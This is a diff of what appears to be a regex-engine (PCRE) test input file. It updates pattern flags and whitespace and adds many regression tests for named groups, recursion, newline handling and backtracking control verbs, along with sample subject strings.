+/^(?P<A>a)(?P<A>b)|cd/IJ
     ab\CA
-    cd\CA 
-  
-/^(?P<A>a)(?P<A>b)|cd(?P<A>ef)(?P<A>gh)/J
-    cdefgh\CA 
-  
-/^((?P<A>a1)|(?P<A>a2)b)/J
+    cd\CA
+
+/^(?P<A>a)(?P<A>b)|cd(?P<A>ef)(?P<A>gh)/IJ
+    cdefgh\CA
+
+/^((?P<A>a1)|(?P<A>a2)b)/IJ
     a1b\GA
-    a2b\GA 
+    a2b\GA
     ** Failers
-    a1b\GZ\GA 
-    
-/^(?P<A>a)(?P<A>b)/J
+    a1b\GZ\GA
+
+/^(?P<A>a)(?P<A>b)/IJ
     ab\GA
-    
-/^(?P<A>a)(?P<A>b)|cd/J
+
+/^(?P<A>a)(?P<A>b)|cd/IJ
     ab\GA
-    cd\GA 
-  
-/^(?P<A>a)(?P<A>b)|cd(?P<A>ef)(?P<A>gh)/J
-    cdefgh\GA 
-  
-/(?J)^((?P<A>a1)|(?P<A>a2)b)/
+    cd\GA
+
+/^(?P<A>a)(?P<A>b)|cd(?P<A>ef)(?P<A>gh)/IJ
+    cdefgh\GA
+
+/(?J)^((?P<A>a1)|(?P<A>a2)b)/I
     a1b\CA
-    a2b\CA 
-    
-/^(?P<A>a) (?J:(?P<B>b)(?P<B>c)) (?P<A>d)/
+    a2b\CA
 
+/^(?P<A>a) (?J:(?P<B>b)(?P<B>c)) (?P<A>d)/I
+
 / In this next test, J is not set at the outer level; consequently it isn't
-set in the pattern's options; consequently pcre_get_named_substring() produces 
-a random value. /x
+set in the pattern's options; consequently pcre_get_named_substring() produces
+a random value. /Ix
 
-/^(?P<A>a) (?J:(?P<B>b)(?P<B>c)) (?P<C>d)/
+/^(?P<A>a) (?J:(?P<B>b)(?P<B>c)) (?P<C>d)/I
     a bc d\CA\CB\CC
 
-/^(?P<A>a)?(?(A)a|b)/
+/^(?P<A>a)?(?(A)a|b)/I
     aabc
     bc
     ** Failers
-    abc   
+    abc
 
-/(?:(?(ZZ)a|b)(?P<ZZ>X))+/
+/(?:(?(ZZ)a|b)(?P<ZZ>X))+/I
     bXaX
 
-/(?:(?(2y)a|b)(X))+/
+/(?:(?(2y)a|b)(X))+/I
 
-/(?:(?(ZA)a|b)(?P<ZZ>X))+/
+/(?:(?(ZA)a|b)(?P<ZZ>X))+/I
 
-/(?:(?(ZZ)a|b)(?(ZZ)a|b)(?P<ZZ>X))+/
+/(?:(?(ZZ)a|b)(?(ZZ)a|b)(?P<ZZ>X))+/I
     bbXaaX
 
-/(?:(?(ZZ)a|\(b\))\\(?P<ZZ>X))+/
+/(?:(?(ZZ)a|\(b\))\\(?P<ZZ>X))+/I
     (b)\\Xa\\X
 
-/(?P<ABC/
+/(?P<ABC/I
 
-/(?:(?(A)(?P=A)a|b)(?P<A>X|Y))+/
+/(?:(?(A)(?P=A)a|b)(?P<A>X|Y))+/I
     bXXaYYaY
-    bXYaXXaX  
+    bXYaXXaX
 
-/()()()()()()()()()(?:(?(A)(?P=A)a|b)(?P<A>X|Y))+/
+/()()()()()()()()()(?:(?(A)(?P=A)a|b)(?P<A>X|Y))+/I
     bXXaYYaY
 
-/\777/
+/\777/I
 
-/\s*,\s*/S
+/\s*,\s*/IS
     \x0b,\x0b
-    \x0c,\x0d 
+    \x0c,\x0d
 
-/^abc/m
+/^abc/Im
     xyz\nabc
     xyz\nabc\<lf>
     xyz\r\nabc\<lf>
     xyz\rabc\<cr>
     xyz\r\nabc\<crlf>
-    ** Failers 
+    ** Failers
     xyz\nabc\<cr>
     xyz\r\nabc\<cr>
     xyz\nabc\<crlf>
     xyz\rabc\<crlf>
     xyz\rabc\<lf>
-    
-/abc$/m
+
+/abc$/Im<lf>
     xyzabc
-    xyzabc\n 
-    xyzabc\npqr 
-    xyzabc\r\<cr> 
-    xyzabc\rpqr\<cr> 
-    xyzabc\r\n\<crlf> 
-    xyzabc\r\npqr\<crlf> 
+    xyzabc\n
+    xyzabc\npqr
+    xyzabc\r\<cr>
+    xyzabc\rpqr\<cr>
+    xyzabc\r\n\<crlf>
+    xyzabc\r\npqr\<crlf>
     ** Failers
-    xyzabc\r 
-    xyzabc\rpqr 
-    xyzabc\r\n 
-    xyzabc\r\npqr 
-    
-/^abc/m<cr>
+    xyzabc\r
+    xyzabc\rpqr
+    xyzabc\r\n
+    xyzabc\r\npqr
+
+/^abc/Im<cr>
     xyz\rabcdef
     xyz\nabcdef\<lf>
-    ** Failers  
+    ** Failers
     xyz\nabcdef
-       
-/^abc/m<lf>
+
+/^abc/Im<lf>
     xyz\nabcdef
     xyz\rabcdef\<cr>
-    ** Failers  
+    ** Failers
     xyz\rabcdef
-       
-/^abc/m<crlf>
+
+/^abc/Im<crlf>
     xyz\r\nabcdef
     xyz\rabcdef\<cr>
-    ** Failers  
+    ** Failers
     xyz\rabcdef
-    
-/^abc/m<bad>
 
-/abc/
+/^abc/Im<bad>
+
+/abc/I
     xyz\rabc\<bad>
-    abc  
-       
-/.*/
+    abc
+
+/.*/I<lf>
     abc\ndef
     abc\rdef
     abc\r\ndef
@@ -1633,14 +1633,1144 @@
     \<crlf>abc\rdef
     \<crlf>abc\r\ndef
 
-/\w+(.)(.)?def/s
+/\w+(.)(.)?def/Is
     abc\ndef
     abc\rdef
     abc\r\ndef
 
-+((?:\s|//.*\\n|/[*](?:\\n|.)*?[*]/)*)+
++((?:\s|//.*\\n|/[*](?:\\n|.)*?[*]/)*)+I
    /* this is a C style comment */\M
 
-/(?P<B>25[0-5]|2[0-4]\d|[01]?\d?\d)(?:\.(?P>B)){3}/
+/(?P<B>25[0-5]|2[0-4]\d|[01]?\d?\d)(?:\.(?P>B)){3}/I
 
+/()()()()()()()()()()()()()()()()()()()()
+ ()()()()()()()()()()()()()()()()()()()()
+ ()()()()()()()()()()()()()()()()()()()()
+ ()()()()()()()()()()()()()()()()()()()()
+ ()()()()()()()()()()()()()()()()()()()()
+ (.(.))/Ix
+    XY\O400
+
+/(a*b|(?i:c*(?-i)d))/IS
+
+/()[ab]xyz/IS
+
+/(|)[ab]xyz/IS
+
+/(|c)[ab]xyz/IS
+
+/(|c?)[ab]xyz/IS
+
+/(d?|c?)[ab]xyz/IS
+
+/(d?|c)[ab]xyz/IS
+
+/^a*b\d/DZ
+
+/^a*+b\d/DZ
+
+/^a*?b\d/DZ
+
+/^a+A\d/DZ
+    aaaA5
+    ** Failers
+    aaaa5
+
+/^a*A\d/IiDZ
+    aaaA5
+    aaaa5
+
+/(a*|b*)[cd]/IS
+
+/(a+|b*)[cd]/IS
+
+/(a*|b+)[cd]/IS
+
+/(a+|b+)[cd]/IS
+
+/((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
+ ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
+ (((
+ a
+ ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
+ ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
+ )))
+/Ix
+  large nest
+
+/a*\d/BZ
+
+/a*\D/BZ
+
+/0*\d/BZ
+
+/0*\D/BZ
+
+/a*\s/BZ
+
+/a*\S/BZ
+
+/ *\s/BZ
+
+/ *\S/BZ
+
+/a*\w/BZ
+
+/a*\W/BZ
+
+/=*\w/BZ
+
+/=*\W/BZ
+
+/\d*a/BZ
+
+/\d*2/BZ
+
+/\d*\d/BZ
+
+/\d*\D/BZ
+
+/\d*\s/BZ
+
+/\d*\S/BZ
+
+/\d*\w/BZ
+
+/\d*\W/BZ
+
+/\D*a/BZ
+
+/\D*2/BZ
+
+/\D*\d/BZ
+
+/\D*\D/BZ
+
+/\D*\s/BZ
+
+/\D*\S/BZ
+
+/\D*\w/BZ
+
+/\D*\W/BZ
+
+/\s*a/BZ
+
+/\s*2/BZ
+
+/\s*\d/BZ
+
+/\s*\D/BZ
+
+/\s*\s/BZ
+
+/\s*\S/BZ
+
+/\s*\w/BZ
+
+/\s*\W/BZ
+
+/\S*a/BZ
+
+/\S*2/BZ
+
+/\S*\d/BZ
+
+/\S*\D/BZ
+
+/\S*\s/BZ
+
+/\S*\S/BZ
+
+/\S*\w/BZ
+
+/\S*\W/BZ
+
+/\w*a/BZ
+
+/\w*2/BZ
+
+/\w*\d/BZ
+
+/\w*\D/BZ
+
+/\w*\s/BZ
+
+/\w*\S/BZ
+
+/\w*\w/BZ
+
+/\w*\W/BZ
+
+/\W*a/BZ
+
+/\W*2/BZ
+
+/\W*\d/BZ
+
+/\W*\D/BZ
+
+/\W*\s/BZ
+
+/\W*\S/BZ
+
+/\W*\w/BZ
+
+/\W*\W/BZ
+
+/[^a]+a/BZ
+
+/[^a]+a/BZi
+
+/[^a]+A/BZi
+
+/[^a]+b/BZ
+
+/[^a]+\d/BZ
+
+/a*[^a]/BZ
+
+/(?P<abc>x)(?P<xyz>y)/I
+    xy\Cabc\Cxyz
+
+/(?<abc>x)(?'xyz'y)/I
+    xy\Cabc\Cxyz
+
+/(?<abc'x)(?'xyz'y)/I
+
+/(?<abc>x)(?'xyz>y)/I
+
+/(?P'abc'x)(?P<xyz>y)/I
+
+/^(?:(?(ZZ)a|b)(?<ZZ>X))+/
+    bXaX
+    bXbX
+    ** Failers
+    aXaX
+    aXbX
+
+/^(?P>abc)(?<abcd>xxx)/
+
+/^(?P>abc)(?<abc>x|y)/
+    xx
+    xy
+    yy
+    yx
+
+/^(?P>abc)(?P<abc>x|y)/
+    xx
+    xy
+    yy
+    yx
+
+/^((?(abc)a|b)(?<abc>x|y))+/
+    bxay
+    bxby
+    ** Failers
+    axby
+
+/^(((?P=abc)|X)(?<abc>x|y))+/
+    XxXxxx
+    XxXyyx
+    XxXyxx
+    ** Failers
+    x
+
+/^(?1)(abc)/
+    abcabc
+
+/^(?:(?:\1|X)(a|b))+/
+    Xaaa
+    Xaba
+
+/^[\E\Qa\E-\Qz\E]+/BZ
+
+/^[a\Q]bc\E]/BZ
+
+/^[a-\Q\E]/BZ
+
+/^(?P>abc)[()](?<abc>)/BZ
+
+/^((?(abc)y)[()](?P<abc>x))+/BZ
+    (xy)x
+
+/^(?P>abc)\Q()\E(?<abc>)/BZ
+
+/^(?P>abc)[a\Q(]\E(](?<abc>)/BZ
+
+/^(?P>abc) # this is (a comment)
+  (?<abc>)/BZx
+
+/^\W*(?:(?<one>(?<two>.)\W*(?&one)\W*\k<two>|)|(?<three>(?<four>.)\W*(?&three)\W*\k'four'|\W*.\W*))\W*$/Ii
+    1221
+    Satan, oscillate my metallic sonatas!
+    A man, a plan, a canal: Panama!
+    Able was I ere I saw Elba.
+    *** Failers
+    The quick brown fox
+
+/(?=(\w+))\1:/I
+    abcd:
+
+/(?=(?'abc'\w+))\k<abc>:/I
+    abcd:
+
+/(?'abc'\w+):\k<abc>{2}/
+    a:aaxyz
+    ab:ababxyz
+    ** Failers
+    a:axyz
+    ab:abxyz
+
+/(?'abc'a|b)(?<abc>d|e)\k<abc>{2}/J
+    adaa
+    ** Failers
+    addd
+    adbb
+
+/(?'abc'a|b)(?<abc>d|e)(?&abc){2}/J
+    bdaa
+    bdab
+    ** Failers
+    bddd
+
+/^(?<ab>a)? (?(<ab>)b|c) (?('ab')d|e)/x
+    abd
+    ce
+
+/(?(<bc))/
+
+/(?(''))/
+
+/(?('R')stuff)/
+
+/((abc (?(R) (?(R1)1) (?(R2)2) X  |  (?1)  (?2)   (?R) ))) /x
+    abcabc1Xabc2XabcXabcabc
+
+/(?<A> (?'B' abc (?(R) (?(R&A)1) (?(R&B)2) X  |  (?1)  (?2)   (?R) ))) /x
+    abcabc1Xabc2XabcXabcabc
+
+/(?<A> (?'B' abc (?(R) (?(R&1)1) (?(R&B)2) X  |  (?1)  (?2)   (?R) ))) /x
+
+/(?<1> (?'B' abc (?(R) (?(R&1)1) (?(R&B)2) X  |  (?1)  (?2)   (?R) ))) /x
+    abcabc1Xabc2XabcXabcabc
+
+/^(?(DEFINE) (?<A> a) (?<B> b) )  (?&A) (?&B) /x
+    abcd
+
+/(?<NAME>(?&NAME_PAT))\s+(?<ADDR>(?&ADDRESS_PAT))
+  (?(DEFINE)
+  (?<NAME_PAT>[a-z]+)
+  (?<ADDRESS_PAT>\d+)
+  )/x
+    metcalfe 33
+
+/^(?(DEFINE) abc | xyz ) /x
+
+/(?(DEFINE) abc) xyz/xI
+
+/(?(DEFINE) abc){3} xyz/x
+
+/(a|)*\d/
+  \O0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+  \O0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/^a.b/<lf>
+    a\rb
+    a\nb\<cr>
+    a\x85b\<anycrlf> 
+    ** Failers
+    a\nb
+    a\nb\<any>
+    a\rb\<cr>
+    a\rb\<any>
+    a\x85b\<any> 
+    a\rb\<anycrlf>
+
+/^abc./mgx<any>
+    abc1 \x0aabc2 \x0babc3xx \x0cabc4 \x0dabc5xx \x0d\x0aabc6 \x85abc7 JUNK
+
+/abc.$/mgx<any>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x85 abc7 abc9
+
+/a/<cr><any>
+
+/a/<any><crlf>
+
+/^a\Rb/<bsr_unicode>
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0cb
+    a\x85b
+    ** Failers
+    a\n\rb
+
+/^a\R*b/<bsr_unicode>
+    ab
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0cb
+    a\x85b
+    a\n\rb
+    a\n\r\x85\x0cb
+
+/^a\R+b/<bsr_unicode>
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0cb
+    a\x85b
+    a\n\rb
+    a\n\r\x85\x0cb
+    ** Failers
+    ab
+
+/^a\R{1,3}b/<bsr_unicode>
+    a\nb
+    a\n\rb
+    a\n\r\x85b
+    a\r\n\r\nb
+    a\r\n\r\n\r\nb
+    a\n\r\n\rb
+    a\n\n\r\nb
+    ** Failers
+    a\n\n\n\rb
+    a\r
+
+/^a[\R]b/<bsr_unicode>
+    aRb
+    ** Failers
+    a\nb
+
+/(?&abc)X(?<abc>P)/I
+    abcPXP123
+
+/(?1)X(?<abc>P)/I
+    abcPXP123
+
+/(?(DEFINE)(?<byte>2[0-4]\d|25[0-5]|1\d\d|[1-9]?\d))\b(?&byte)(\.(?&byte)){3}/
+    1.2.3.4
+    131.111.10.206
+    10.0.0.0
+    ** Failers
+    10.6
+    455.3.4.5
+
+/\b(?&byte)(\.(?&byte)){3}(?(DEFINE)(?<byte>2[0-4]\d|25[0-5]|1\d\d|[1-9]?\d))/
+    1.2.3.4
+    131.111.10.206
+    10.0.0.0
+    ** Failers
+    10.6
+    455.3.4.5
+
+/(?:a(?&abc)b)*(?<abc>x)/
+    123axbaxbaxbx456
+    123axbaxbaxb456
+
+/(?:a(?&abc)b){1,5}(?<abc>x)/
+    123axbaxbaxbx456
+
+/(?:a(?&abc)b){2,5}(?<abc>x)/
+    123axbaxbaxbx456
+
+/(?:a(?&abc)b){2,}(?<abc>x)/
+    123axbaxbaxbx456
+
+/(abc)(?i:(?1))/
+   defabcabcxyz
+   DEFabcABCXYZ
+
+/(abc)(?:(?i)(?1))/
+   defabcabcxyz
+   DEFabcABCXYZ
+
+/^(a(b))\1\g1\g{1}\g-1\g{-1}\g{-02}Z/
+    ababababbbabZXXXX
+
+/^(a)\g-2/
+
+/^(a)\g/
+
+/^(a)\g{0}/
+
+/^(a)\g{3/
+
+/^(a)\g{4a}/
+
+/^a.b/<lf>
+    a\rb
+    *** Failers
+    a\nb
+
+/.+foo/
+    afoo
+    ** Failers
+    \r\nfoo
+    \nfoo
+
+/.+foo/<crlf>
+    afoo
+    \nfoo
+    ** Failers
+    \r\nfoo
+
+/.+foo/<any>
+    afoo
+    ** Failers
+    \nfoo
+    \r\nfoo
+
+/.+foo/s
+    afoo
+    \r\nfoo
+    \nfoo
+    
+/^$/mg<any>
+    abc\r\rxyz
+    abc\n\rxyz  
+    ** Failers 
+    abc\r\nxyz
+
+/(?m)^$/<any>g+
+    abc\r\n\r\n
+
+/(?m)^$|^\r\n/<any>g+ 
+    abc\r\n\r\n
+    
+/(?m)$/<any>g+ 
+    abc\r\n\r\n
+
+/abc.$/mgx<anycrlf>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x85 abc9
+
+/^X/m
+    XABC
+    ** Failers 
+    XABC\B
+
+/(ab|c)(?-1)/BZ
+    abc
+
+/xy(?+1)(abc)/BZ
+    xyabcabc
+    ** Failers
+    xyabc  
+    
+/x(?-0)y/
+
+/x(?-1)y/
+
+/x(?+0)y/ 
+
+/x(?+1)y/
+
+/^(abc)?(?(-1)X|Y)/BZ
+    abcX
+    Y
+    ** Failers
+    abcY   
+    
+/^((?(+1)X|Y)(abc))+/BZ 
+    YabcXabc
+    YabcXabcXabc
+    ** Failers
+    XabcXabc  
+
+/(?(-1)a)/BZ
+
+/((?(-1)a))/BZ
+
+/((?(-2)a))/BZ
+
+/^(?(+1)X|Y)(.)/BZ
+    Y!
+
+/(foo)\Kbar/
+    foobar
+   
+/(foo)(\Kbar|baz)/
+    foobar
+    foobaz 
+
+/(foo\Kbar)baz/
+    foobarbaz
+
+/(?<A>tom|bon)-\k{A}/
+    tom-tom
+    bon-bon 
+    ** Failers
+    tom-bon  
+
+/(?<A>tom|bon)-\g{A}/
+    tom-tom
+    bon-bon 
+    
+/\g{A/ 
+
+/(?|(abc)|(xyz))/BZ
+   >abc<
+   >xyz< 
+
+/(x)(?|(abc)|(xyz))(x)/BZ
+    xabcx
+    xxyzx 
+
+/(x)(?|(abc)(pqr)|(xyz))(x)/BZ
+    xabcpqrx
+    xxyzx 
+
+/(?|(abc)|(xyz))\1/
+    abcabc
+    xyzxyz 
+    ** Failers
+    abcxyz
+    xyzabc   
+    
+/(?|(abc)|(xyz))(?1)/
+    abcabc
+    xyzabc 
+    ** Failers 
+    xyzxyz 
+ 
+/\H\h\V\v/
+    X X\x0a
+    X\x09X\x0b
+    ** Failers
+    \xa0 X\x0a   
+    
+/\H*\h+\V?\v{3,4}/ 
+    \x09\x20\xa0X\x0a\x0b\x0c\x0d\x0a
+    \x09\x20\xa0\x0a\x0b\x0c\x0d\x0a
+    \x09\x20\xa0\x0a\x0b\x0c
+    ** Failers 
+    \x09\x20\xa0\x0a\x0b
+     
+/\H{3,4}/
+    XY  ABCDE
+    XY  PQR ST 
+    
+/.\h{3,4}./
+    XY  AB    PQRS
+
+/\h*X\h?\H+Y\H?Z/
+    >XNNNYZ
+    >  X NYQZ
+    ** Failers
+    >XYZ   
+    >  X NY Z
+
+/\v*X\v?Y\v+Z\V*\x0a\V+\x0b\V{2,3}\x0c/
+    >XY\x0aZ\x0aA\x0bNN\x0c
+    >\x0a\x0dX\x0aY\x0a\x0bZZZ\x0aAAA\x0bNNN\x0c
+
+/[\h]/BZ
+    >\x09<
+
+/[\h]+/BZ
+    >\x09\x20\xa0<
+
+/[\v]/BZ
+
+/[\H]/BZ
+
+/[^\h]/BZ
+
+/[\V]/BZ
+
+/[\x0a\V]/BZ
+
+/\H++X/BZ
+    ** Failers
+    XXXX
+    
+/\H+\hY/BZ
+    XXXX Y 
+
+/\H+ Y/BZ
+
+/\h+A/BZ
+
+/\v*B/BZ
+
+/\V+\x0a/BZ
+
+/A+\h/BZ
+
+/ *\H/BZ
+
+/A*\v/BZ
+
+/\x0b*\V/BZ
+
+/\d+\h/BZ
+
+/\d*\v/BZ
+
+/S+\h\S+\v/BZ
+
+/\w{3,}\h\w+\v/BZ
+
+/\h+\d\h+\w\h+\S\h+\H/BZ
+
+/\v+\d\v+\w\v+\S\v+\V/BZ
+
+/\H+\h\H+\d/BZ
+
+/\V+\v\V+\w/BZ
+
+/\( (?: [^()]* | (?R) )* \)/x
+(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(00)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)
+
+/[\E]AAA/
+
+/[\Q\E]AAA/
+
+/[^\E]AAA/
+
+/[^\Q\E]AAA/
+
+/[\E^]AAA/
+
+/[\Q\E^]AAA/
+
+/A(*PRUNE)B(*SKIP)C(*THEN)D(*COMMIT)E(*F)F(*FAIL)G(?!)H(*ACCEPT)I/BZ
+
+/^a+(*FAIL)/
+    aaaaaa
+    
+/a+b?c+(*FAIL)/
+    aaabccc
+
+/a+b?(*PRUNE)c+(*FAIL)/
+    aaabccc
+
+/a+b?(*COMMIT)c+(*FAIL)/
+    aaabccc
+    
+/a+b?(*SKIP)c+(*FAIL)/
+    aaabcccaaabccc
+
+/^(?:aaa(*THEN)\w{6}|bbb(*THEN)\w{5}|ccc(*THEN)\w{4}|\w{3})/
+    aaaxxxxxx
+    aaa++++++ 
+    bbbxxxxx
+    bbb+++++ 
+    cccxxxx
+    ccc++++ 
+    dddddddd   
+
+/^(aaa(*THEN)\w{6}|bbb(*THEN)\w{5}|ccc(*THEN)\w{4}|\w{3})/
+    aaaxxxxxx
+    aaa++++++ 
+    bbbxxxxx
+    bbb+++++ 
+    cccxxxx
+    ccc++++ 
+    dddddddd   
+
+/a+b?(*THEN)c+(*FAIL)/
+    aaabccc
+
+/(A (A|B(*ACCEPT)|C) D)(E)/x
+    ABX
+    AADE
+    ACDE
+    ** Failers
+    AD 
+        
+/^a+(*FAIL)/C
+    aaaaaa
+    
+/a+b?c+(*FAIL)/C
+    aaabccc
+
+/a+b?(*PRUNE)c+(*FAIL)/C
+    aaabccc
+
+/a+b?(*COMMIT)c+(*FAIL)/C
+    aaabccc
+    
+/a+b?(*SKIP)c+(*FAIL)/C
+    aaabcccaaabccc
+
